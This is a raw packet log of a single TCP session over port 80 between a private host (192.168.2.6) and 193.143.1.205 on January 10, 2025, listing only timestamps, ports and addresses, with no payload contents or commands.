Jan 10, 2025 14:38:07.192779064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192821980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.192831039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192863941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192894936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192903996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.192928076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192960978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.192970037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.192996025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193028927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193036079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.193496943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193542957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.193568945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193619013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193660021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193660975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.193722963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193764925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.193790913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193824053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193856001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193865061 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.193890095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193921089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193929911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.193953991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193985939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.193993092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.194019079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194057941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.194453955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194488049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194529057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.194559097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194591045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194629908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.194660902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194694042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194739103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.194770098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194802999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194835901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194844007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.194868088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194901943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194910049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.194932938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194966078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.194974899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.195420027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.195446968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.195491076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.195502996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.195552111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.195584059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.195590973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.195640087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.195678949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.195686102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.195719957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.195750952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.195763111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.195782900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.195813894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.195822001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.195857048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.195895910 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.199774027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.199842930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.199887991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.199891090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.199924946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.199954987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.199966908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.199989080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.200016975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.200041056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.205214977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.239543915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.239612103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.239623070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.239658117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.239698887 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.280780077 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.280875921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.280910015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.280941963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.280973911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.281002045 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.281006098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.281027079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.281040907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.281055927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.281073093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.281104088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.281116009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.281136036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.281168938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.281187057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.281200886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.281234026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.281245947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.281265974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.281297922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.281308889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.281332016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.281375885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.319891930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.319931984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320030928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320065022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320071936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.320097923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320108891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.320179939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320214033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320225000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.320246935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320276022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320286989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.320363998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320400000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320409060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.320431948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320472002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.320488930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320538998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320583105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.320591927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320622921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320662975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.320702076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320751905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320794106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.320811987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320859909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320893049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320903063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.320924997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.320967913 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.320982933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321032047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321063995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321073055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.321096897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321136951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.321152925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321201086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321233988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321242094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.321265936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321296930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321307898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.321367979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321402073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321409941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.321434021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321466923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321477890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.321501970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321533918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321542025 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.321566105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321609020 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.321654081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321686983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321719885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321727991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.321763039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321804047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.321826935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321860075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321891069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321899891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.321923018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.321964979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.321996927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.322030067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.322061062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.322077036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.322114944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.322155952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.322168112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.322201967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.322232962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.322238922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.322267056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.322305918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.327578068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.327610970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.327644110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.327656031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.327732086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.327765942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.327776909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.327797890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.327836990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.327860117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.327908039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.327939034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.327946901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.327971935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328011036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.328032970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328083038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328114986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328124046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.328149080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328186989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.328191042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328260899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328294992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328300953 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.328327894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328370094 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.328399897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328432083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328464985 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328473091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.328531027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328572035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.328581095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328613043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328644991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328656912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.328722000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328754902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328763962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.328785896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328818083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328824043 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.328896999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328929901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.328939915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.328960896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329004049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.329016924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329066038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329098940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329107046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.329132080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329171896 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.329253912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329286098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329318047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329328060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.329385996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329418898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329427004 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.329449892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329483032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329492092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.329533100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329565048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329572916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.329597950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329629898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329644918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.329664946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.329701900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.368045092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368057966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368074894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368093967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368104935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368129969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368140936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368151903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368172884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.368205070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.368205070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368232012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.368256092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368269920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368292093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368294001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.368304014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368324041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.368381023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368392944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368402958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.368428946 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.370203018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.376331091 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.397602081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.408094883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408108950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408118963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408175945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408185959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408204079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.408207893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408219099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408277035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.408443928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408488035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408499002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408509016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408567905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408579111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408617973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.408617973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.408617973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.408677101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408687115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408696890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408706903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408719063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.408723116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408729076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.408735037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408761024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.408802032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408813000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408822060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408832073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408838034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.408852100 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.408906937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408916950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408926964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.408943892 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.408968925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409054995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409065008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409075975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409085989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409095049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409096003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409106970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409116983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409120083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409127951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409138918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409168959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 14:38:07.409183025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409193039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 14:38:07.409204006 CET	80	49709	193.143.1.205	192.168.2.6
